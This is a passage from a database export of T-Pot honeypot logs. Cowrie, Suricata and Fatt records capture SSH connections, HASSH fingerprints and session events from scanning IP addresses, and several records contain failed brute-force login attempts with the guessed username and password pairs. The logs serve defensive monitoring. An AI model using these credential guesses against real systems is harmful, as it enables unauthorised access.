"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26506	193.105.134.45	109.199.241.180	Cowrie	2021-09-20 14:12:18.649738+03	2021-09-20 14:15:13.359647+03	{"_id": "qgboAnwBvYTbRNuEICH4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "193.105.134.45", "asn": 42708, "as_org": "Portlane AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "a7a87fbe86774c2e40cc4a7ea2ab1b3c", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "bad reputation", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "193.105.134.45", "eventid": "cowrie.client.kex", "kexAlgs": ["diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: a7a87fbe86774c2e40cc4a7ea2ab1b3c", "session": "dc1f0ed2efd0", "@version": "1", "timestamp": "2021-09-20T11:12:18.649738Z", "@timestamp": "2021-09-20T11:12:18.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	bad reputation	\N
26507	193.105.134.45	109.199.241.180	Cowrie	2021-09-20 14:12:20.084156+03	2021-09-20 14:15:13.361646+03	{"_id": "rAboAnwBvYTbRNuEJCHg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "193.105.134.45", "asn": 42708, "as_org": "Portlane AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "bad reputation", "sensor": "b63cdd9641b8", "src_ip": "193.105.134.45", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "dc1f0ed2efd0", "@version": "1", "duration": 1.4888129234313965, "timestamp": "2021-09-20T11:12:20.084156Z", "@timestamp": "2021-09-20T11:12:20.084Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	bad reputation	\N
26508	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:00.717222+03	2021-09-20 14:15:13.362646+03	{"_id": "KQbnAnwBvYTbRNuE2iGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "db27f4f0e0bd", "@version": "1", "duration": 3.1513938903808594, "timestamp": "2021-09-20T11:12:00.717222Z", "@timestamp": "2021-09-20T11:12:00.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26510	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:01.777737+03	2021-09-20 14:15:13.364646+03	{"_id": "MQbnAnwBvYTbRNuE3iGC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e655c9289bd2", "@version": "1", "timestamp": "2021-09-20T11:12:01.777737Z", "@timestamp": "2021-09-20T11:12:01.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26511	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:06.003685+03	2021-09-20 14:15:13.366646+03	{"_id": "YwbnAnwBvYTbRNuE7SGD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36250, "timestamp": "2021-09-20T11:12:06.003685", "@timestamp": "2021-09-20T11:12:06.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26512	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:05.783072+03	2021-09-20 14:15:13.367648+03	{"_id": "ZQbnAnwBvYTbRNuE7iEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/test123] failed", "session": "14bc30868b06", "@version": "1", "password": "test123", "username": "root", "timestamp": "2021-09-20T11:12:05.783072Z", "@timestamp": "2021-09-20T11:12:05.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26513	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:06.480111+03	2021-09-20 14:15:13.368647+03	{"_id": "aQbnAnwBvYTbRNuE7iEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "99d4097b1174", "@version": "1", "duration": 2.887906551361084, "timestamp": "2021-09-20T11:12:06.480111Z", "@timestamp": "2021-09-20T11:12:06.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26514	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:07.066259+03	2021-09-20 14:15:13.369647+03	{"_id": "awbnAnwBvYTbRNuE8iEP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "14bc30868b06", "@version": "1", "duration": 2.7427077293395996, "timestamp": "2021-09-20T11:12:07.066259Z", "@timestamp": "2021-09-20T11:12:07.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26516	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:11.128452+03	2021-09-20 14:15:13.372674+03	{"_id": "fAboAnwBvYTbRNuEASGy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0d0f936f84a1", "@version": "1", "duration": 2.64630389213562, "timestamp": "2021-09-20T11:12:11.128452Z", "@timestamp": "2021-09-20T11:12:11.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26517	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:27.32344+03	2021-09-20 14:15:13.373674+03	{"_id": "wQboAnwBvYTbRNuEQCE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38458 (192.168.176.2:22) [session: bbb3ae7627c6]", "session": "bbb3ae7627c6", "@version": "1", "protocol": "ssh", "src_port": 38458, "dest_port": 22, "timestamp": "2021-09-20T11:12:27.323440Z", "@timestamp": "2021-09-20T11:12:27.323Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26518	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:12:27.897132+03	2021-09-20 14:15:13.374674+03	{"_id": "wwboAnwBvYTbRNuEQiFW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1630730037474934, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38458, "dest_port": 22, "timestamp": "2021-09-20T11:12:27.897132Z", "@timestamp": "2021-09-20T11:12:27.897Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26519	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:28.340177+03	2021-09-20 14:15:13.376648+03	{"_id": "xAboAnwBvYTbRNuERCEl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:58276 (192.168.176.2:22) [session: c59ee92d4bdd]", "session": "c59ee92d4bdd", "@version": "1", "protocol": "ssh", "src_port": 58276, "dest_port": 22, "timestamp": "2021-09-20T11:12:28.340177Z", "@timestamp": "2021-09-20T11:12:28.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26520	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:27.897385+03	2021-09-20 14:15:13.377679+03	{"_id": "xwboAnwBvYTbRNuERCEl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bbb3ae7627c6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:27.897385Z", "@timestamp": "2021-09-20T11:12:27.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26521	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:27.961438+03	2021-09-20 14:15:13.378646+03	{"_id": "ywboAnwBvYTbRNuERCEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "de90c328c03b", "@version": "1", "duration": 5.455626010894775, "timestamp": "2021-09-20T11:12:27.961438Z", "@timestamp": "2021-09-20T11:12:27.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26522	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:12:28.617987+03	2021-09-20 14:15:13.379674+03	{"_id": "zgboAnwBvYTbRNuERiE-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2000309825895283, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58276, "dest_port": 22, "timestamp": "2021-09-20T11:12:28.617987Z", "@timestamp": "2021-09-20T11:12:28.617Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26523	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:28.345295+03	2021-09-20 14:15:13.380675+03	{"_id": "0AboAnwBvYTbRNuERyFn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58276, "timestamp": "2021-09-20T11:12:28.345295", "@timestamp": "2021-09-20T11:12:28.345Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26524	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:29.577996+03	2021-09-20 14:15:13.382647+03	{"_id": "1AboAnwBvYTbRNuESCEP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [jack/jack] failed", "session": "c59ee92d4bdd", "@version": "1", "password": "jack", "username": "jack", "timestamp": "2021-09-20T11:12:29.577996Z", "@timestamp": "2021-09-20T11:12:29.577Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26525	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:28.628947+03	2021-09-20 14:15:13.383645+03	{"_id": "2AboAnwBvYTbRNuESCEP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", 